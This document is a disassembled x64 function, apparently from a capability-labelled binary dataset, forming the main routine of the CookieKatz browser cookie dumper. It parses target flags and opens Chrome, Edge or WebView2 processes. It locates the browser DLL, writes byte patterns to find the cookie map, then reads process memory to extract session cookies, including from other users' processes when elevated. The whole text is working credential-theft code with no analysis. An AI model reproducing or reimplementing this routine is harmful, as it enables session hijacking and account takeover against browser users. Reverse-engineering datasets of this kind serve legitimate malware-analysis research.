Function at 0x14000e5b0
Capabilities:
Enumerate process modules
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x140068040]
xor rax, rsp
mov qword [rbp + 0x210], rax
movsxd rbx, ecx
mov rdi, rdx
lea rcx, str.____________________________________________________n
mov qword [rbp - 0x60], rdx
call fcn.14000e500
lea rcx, str._____________________________________________n
call fcn.14000e500
lea rcx, str.____________________________________________n
call fcn.14000e500
lea rcx, str._________________________________________n
call fcn.14000e500
lea rcx, str._______________________________________n
call fcn.14000e500
lea rcx, str.____________________________________n
call fcn.14000e500
lea rcx, str.By_Meckazin_____________________github.com___Meckazin__n
call fcn.14000e500
lea rcx, str.Kittens_love_cookies_too__n_n
call fcn.14000e500
xor r8d, r8d
xor esi, esi
xor r12d, r12d
mov dword [rbp - 0x64], esi
mov r15d, 1
mov dword [rbp - 0x68], r8d
mov r13, rbx
mov r14, 0xffffffffffffffff
cmp rbx, r15
jbe 0x14000e790
mov ebx, r15d
nop dword [rax]
mov rcx, qword [rdi + r15*8]
lea rdx, str.pid:
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x14000e6fd
mov rcx, qword [rdi + r15*8]
mov edx, 0x3a
call fcn.140012d70
mov rbx, r14
lea rsi, [rax + 1]
nop dword [rax + rax]
cmp byte [rsi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x14000e6b0
lea rcx, [rbx + 1]
call fcn.140010f38
mov r8, rsi
lea rdx, [rbx + 1]
mov rcx, rax
mov rdi, rax
call fcn.14001b660
lea r8, [rbp - 0x68]
mov rcx, rdi
lea rdx, [0x14006266c]
call fcn.14000e550
test eax, eax
je 0x14000e8ac
mov rdi, qword [rbp - 0x60]
mov ebx, 1
mov esi, dword [rbp - 0x64]
mov rcx, qword [rdi + r15*8]
lea rdx, str.edge
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.webview
test rax, rax
cmovne r12d, ebx
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.list
test rax, rax
mov eax, 2
cmovne r12d, eax
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.help
test rax, rax
cmovne esi, ebx
mov dword [rbp - 0x64], esi
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x14000e8bd
mov rcx, qword [rdi + r15*8]
lea rdx, [0x1400626c0]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x14000e8bd
inc r15
cmp r15, r13
jb 0x14000e680
mov r8d, dword [rbp - 0x68]
xor esi, esi
lea r15, str.chrome.exe
mov qword [rbp - 0x60], rsi
lea rbx, str.msedge.exe
lea rdi, str.msedgewebview2.exe
test r8d, r8d
je 0x14000e9d8
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000e898
lea r9, [rbp - 0x10]
mov qword [rbp - 0x60], rsi
lea r8, [rbp]
mov dword [rbp - 0x10], 0x104
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x14000e898
lea rcx, [rbp]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
mov rdx, r14
nop word [rax + rax]
movzx ecx, word [r8 + rdx*2 + 2]
cmp cx, word [r15 + rdx*2 + 2]
jne 0x14000e838
add rdx, 2
cmp rdx, 0xb
je 0x14000e9a8
movzx eax, word [r8 + rdx*2]
cmp ax, word [r15 + rdx*2]
je 0x14000e810
mov rcx, r14
nop dword [rax + rax]
movzx eax, word [r8 + rcx*2 + 2]
cmp ax, word [rbx + rcx*2 + 2]
jne 0x14000e870
add rcx, 2
cmp rcx, 0xb
je 0x14000e9ad
movzx eax, word [r8 + rcx*2]
cmp ax, word [rbx + rcx*2]
je 0x14000e840
nop word [rax + rax]
movzx eax, word [r8 + r14*2 + 2]
cmp ax, word [rdi + r14*2 + 2]
jne 0x14000e898
add r14, 2
cmp r14, 0x13
je 0x14000e9b5
movzx eax, word [r8 + r14*2]
cmp ax, word [rdi + r14*2]
je 0x14000e870
mov edx, dword [rbp - 0x68]
lea rcx, str.____Failed_to_get_process_handle_to_PID:__lu_n
call fcn.14000e500
jmp 0x14000eebf
lea rcx, str.____Failed_to_parse_command_line_argument__pid_
call fcn.14000e500
jmp 0x14000eebf
lea rcx, str.Help__n_n
call fcn.14000e500
lea rcx, str.Examples:_n
call fcn.14000e500
lea rcx, str..CookieKatz.exe_n
call fcn.14000e500
lea rcx, str.____By_default_targets_first_available_Chrome_process_n
call fcn.14000e500
lea rcx, str..CookieKatz.exe__edge_n
call fcn.14000e500
lea rcx, str.____Targets_first_available_Edge_process_n
call fcn.14000e500
lea rcx, str..CookieKatz.exe__pid:_pid__n
call fcn.14000e500
lea rcx, str.____Attempts_to_target_given_pid__expecting_it_to_be_Chrome_n
call fcn.14000e500
lea rcx, str..CookieKatz.exe__webview__pid:_pid__n
call fcn.14000e500
lea rcx, str.____Targets_the_given_msedgewebview2_process_n
call fcn.14000e500
lea rcx, str..CookieKatz.exe__list__webview_n
call fcn.14000e500
lea rcx, str.____Lists_available_webview_processes_n
call fcn.14000e500
lea rcx, [0x1400624b8]
call fcn.14000e500
lea rcx, str.Flags:_n
call fcn.14000e500
lea rcx, str._____edge_______Target_current_user_Edge_process_n
call fcn.14000e500
lea rcx, str._____webview____Target_current_user_Msedgewebview2_process_n
call fcn.14000e500
lea rcx, str._____pid________Attempt_to_dump_given_pid__for_example__someone_elses_if_running_elevated_n
call fcn.14000e500
lea rcx, str._____list_______List_targettable_processes__use_with__edge_or__webview_to_target_other_browsers_n
call fcn.14000e500
lea rcx, str._____help_______This_what_you_just_did___h_works_as_well_n
call fcn.14000e500
xor eax, eax
jmp 0x14000eec4
xor r12d, r12d
jmp 0x14000e9bb
mov r12d, 1
jmp 0x14000e9bb
mov r12d, 2
mov rcx, rsi
call fcn.140010040
test eax, eax
je 0x14000e9d8
lea rcx, str.____Target_process_is_32bit._Only_64bit_browsers_are_supported__n
call fcn.14000e500
jmp 0x14000eeb6
mov byte [rsp + 0x30], 1
test r12d, r12d
je 0x14000ec6c
sub r12d, 1
je 0x14000eb38
cmp r12d, 1
je 0x14000ea07
lea rcx, str.____Invalid_target_browser__n
call fcn.14000e500
jmp 0x14000eeb6
lea rcx, str.___Targeting_Msedgewebview2_n
call fcn.14000e500
mov ecx, 0x90
mov byte [rsp + 0x30], 0
lea r15, str.msedge.dll
call fcn.140010f38
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xfbaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x894838ec
mov dword [rax + 0x38], 0x58b48ce
mov dword [rax + 0x3c], 0x7aaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0x30798d48
mov dword [rax + 0x4c], 0x28498b48
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48f8
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x148
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0x4886c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0xaaaaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaae8
mov dword [rax + 0x8c], 0x834890fb
jmp 0x14000ed96
lea rcx, str.___Targeting_Edge_n
call fcn.14000e500
mov ecx, 0x90
mov byte [rsp + 0x30], 0
mov rdi, rbx
lea r15, str.msedge.dll
call fcn.140010f38
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xaaaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x894838ec
mov dword [rax + 0x38], 0x58b48ce
mov dword [rax + 0x3c], 0xaaaaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0x30798d48
mov dword [rax + 0x4c], 0x28498b48
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48aa
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x1aa
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0xaa86c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0xaaaaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaae8
mov dword [rax + 0x8c], 0x834890aa
jmp 0x14000ed96
lea rcx, str.___Targeting_Chrome_n
call fcn.14000e500
mov ecx, 0x90
mov rdi, r15
lea r15, str.chrome.dll
call fcn.140010f38
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xaaaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x8948aaec
mov dword [rax + 0x38], 0x58b48aa
mov dword [rax + 0x3c], 0xaaaaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0xaa798d48
mov dword [rax + 0x4c], 0x28aaaaaa
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48f8
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x150
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0x5086c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0x5aaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaae8
mov dword [rax + 0x8c], 0x834890fc
cmp dword [rbp - 0x64], 0
je 0x14000edc3
lea rcx, str.___Listing_targetable_processes_n
call fcn.14000e500
mov rcx, rdi
call fcn.14000fd70
lea rcx, str.___Done_n
call fcn.14000e500
xor eax, eax
jmp 0x14000eec4
cmp dword [rbp - 0x68], 0
jne 0x14000ee14
lea r8, [rbp - 0x60]
mov rcx, rdi
lea rdx, [rbp - 0x68]
call fcn.14000fa90
test eax, eax
je 0x14000ee03
mov rsi, qword [rbp - 0x60]
test rsi, rsi
je 0x14000ee03
mov rcx, rsi
call fcn.140010040
test eax, eax
je 0x14000ee14
lea rcx, str.____Target_process_is_32bit._Only_64bit_browsers_are_supported__n
call fcn.14000e500
jmp 0x14000eeb6
lea rcx, str.____Failed_to_find_right_process_n
call fcn.14000e500
jmp 0x14000eebf
mov ecx, 0x2000
call fcn.140020d00
mov r12, rax
test rax, rax
je 0x14000ee9f
lea r9, [rbp - 0x64]
mov dword [rsp + 0x20], 3
mov r8d, 0x2000
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
test eax, eax
je 0x14000ee9f
mov eax, dword [rbp - 0x64]
xor edi, edi
test rax, 0xfffffffffffffff8
jbe 0x14000ee9f
mov r14, r12
nop dword [rax + rax]
mov rdx, qword [r14]
lea r8, [rbp]
mov r9d, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x14000ee8a
mov rdx, r15
lea rcx, [rbp]
call fcn.140020d48
test eax, eax
je 0x14000eef4
mov ecx, dword [rbp - 0x64]
inc edi
shr rcx, 3
add r14, 8
movsxd rax, edi
cmp rax, rcx
jb 0x14000ee60
mov rcx, r12
call fcn.14001b230
mov rdx, r15
lea rcx, str.____Failed_to_find__ls_base_address__n
call fcn.14000e500
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140010ea0
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movsxd rdx, edi
lea r8, [rsp + 0x38]
mov r9d, 0x18
mov rcx, rsi
mov rdx, qword [r12 + rdx*8]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rcx, r12
test eax, eax
je 0x14000eea2
mov r14, qword [rsp + 0x38]
mov edi, dword [rsp + 0x40]
call fcn.14001b230
lea rax, [rbp - 0x60]
xor r12d, r12d
mov qword [rsp + 0x28], rax
mov r9, r14
mov r8d, 0x90
mov dword [rsp + 0x20], edi
mov rdx, rbx
mov qword [rbp - 0x60], r12
mov rcx, rsi
call fcn.14000f990
test eax, eax
jne 0x14000ef61
lea rcx, str.____Failed_to_find_the_first_pattern__n
call fcn.14000e500
jmp 0x14000eeb6
mov rax, qword [rbp - 0x60]
mov rcx, rdi
mov byte [rbp - 8], al
mov rbx, rdi
shr rax, 8
mov byte [rbp - 7], al
shr rax, 8
mov byte [rbp - 6], al
shr rax, 8
mov byte [rbp - 5], al
shr rax, 8
mov byte [rbp - 4], al
shr rax, 8
mov byte [rbp - 3], al
shr rax, 8
mov byte [rbp - 2], al
shr rax, 8
mov byte [rbp - 1], al
call fcn.140010f38
mov rdi, rax
mov r9, rbx
lea rax, [rbp - 0x60]
mov r8, rdi
mov rdx, r14
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
jne 0x14000efd9
cmp eax, 0x12b
jne 0x14000f1a3
mov r11, qword [rbp - 0x60]
lea rax, [rbp - 8]
add r11, 0xfffffffffffffff8
mov r10, rdi
sub r10, rax
mov r9, r12
nop
mov rax, r12
lea r8, [r9 + r10]
nop word [rax + rax]
lea rcx, [rbp - 8]
add rcx, rax
movzx edx, byte [rcx]
cmp dl, 0xaa
je 0x14000f019
cmp byte [rcx + r8], dl
jne 0x14000f197
inc rax
cmp rax, 8
jb 0x14000f000
mov rcx, rdi
lea rbx, [r9 + r14]
call fcn.140010f04
mov byte [rbp - 0x10], bl
mov ecx, 0x320
shr rbx, 8
mov byte [rbp - 0xf], bl
shr rbx, 8
mov byte [rbp - 0xe], bl
shr rbx, 8
mov byte [rbp - 0xd], bl
shr rbx, 8
mov byte [rbp - 0xc], bl
shr rbx, 8
mov byte [rbp - 0xb], bl
shr rbx, 8
mov byte [rbp - 0xa], bl
shr rbx, 8
mov byte [rbp - 9], bl
call fcn.140020d00
mov r14, rax
mov rdi, r12
test rax, rax
je 0x14000f247
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r15, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
cmp r15, r13
jae 0x14000f247
mov rbx, qword [rbp - 0x10]
nop dword [rax]
mov r9d, 0x30
lea r8, [rsp + 0x38]
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp rax, 0x30
jne 0x14000f141
cmp dword [rsp + 0x58], 0x1000
jne 0x14000f133
test byte [rsp + 0x5c], 0x44
je 0x14000f133
mov rcx, qword [rsp + 0x50]
call fcn.140010f38
mov r9, qword [rsp + 0x50]
mov r12, rax
mov rdx, qword [rsp + 0x38]
lea rax, [rbp - 0x60]
mov r8, r12
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000f12b
mov rax, qword [rsp + 0x38]
mov rdx, r12
mov rcx, qword [rbp - 0x60]
sub rdx, rax
add rcx, 0xfffffffffffffff9
cmp qword [rdx + rax], rbx
jne 0x14000f122
mov qword [r14 + rdi*8], rax
inc rdi
inc rax
sub rcx, 1
jne 0x14000f115
mov rcx, r12
call fcn.140010f04
add r15, qword [rsp + 0x50]
cmp r15, r13
jb 0x14000f0a0
test rdi, rdi
je 0x14000f247
movzx r15d, byte [rsp + 0x30]
xor r12d, r12d
mov ebx, r12d
nop word [rax + rax]
mov rdx, qword [r14 + rbx*8]
test rdx, rdx
je 0x14000f223
add rdx, 0x30
mov qword [rsp + 0x20], r12
mov r9d, 0x18
lea r8, [rsp + 0x38]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000f1b4
lea rcx, str.Failed_to_read_the_root_node_from_given_address_n
jmp 0x14000f212
inc r9
cmp r9, r11
jbe 0x14000eff0
lea rcx, str.____Failed_to_find_the_second_pattern__n
call fcn.14000e500
jmp 0x14000eeb6
mov rdx, qword [rsp + 0x48]
lea rcx, str.___Number_of_available_cookies:__zu_n
call fcn.14000e500
mov rdx, qword [rsp + 0x40]
test rdx, rdx
jne 0x14000f1dd
lea rcx, str.___This_Cookie_map_was_empty_n
call fcn.14000e500
jmp 0x14000f217
mov r9d, 0x40
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000f20b
movzx r8d, r15b
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.14000f880
jmp 0x14000f217
lea rcx, str.Error_reading_first_node_n
call fcn.140002e60
inc rbx
cmp rbx, rdi
jb 0x14000f160
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.14001b230
lea rcx, str.___Done_n
call fcn.14000e500
xor eax, eax
jmp 0x14000eec4
lea rcx, str.____Failed_to_find_the_third_pattern__n
call fcn.14000e500
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.14001b230
jmp 0x14000eebf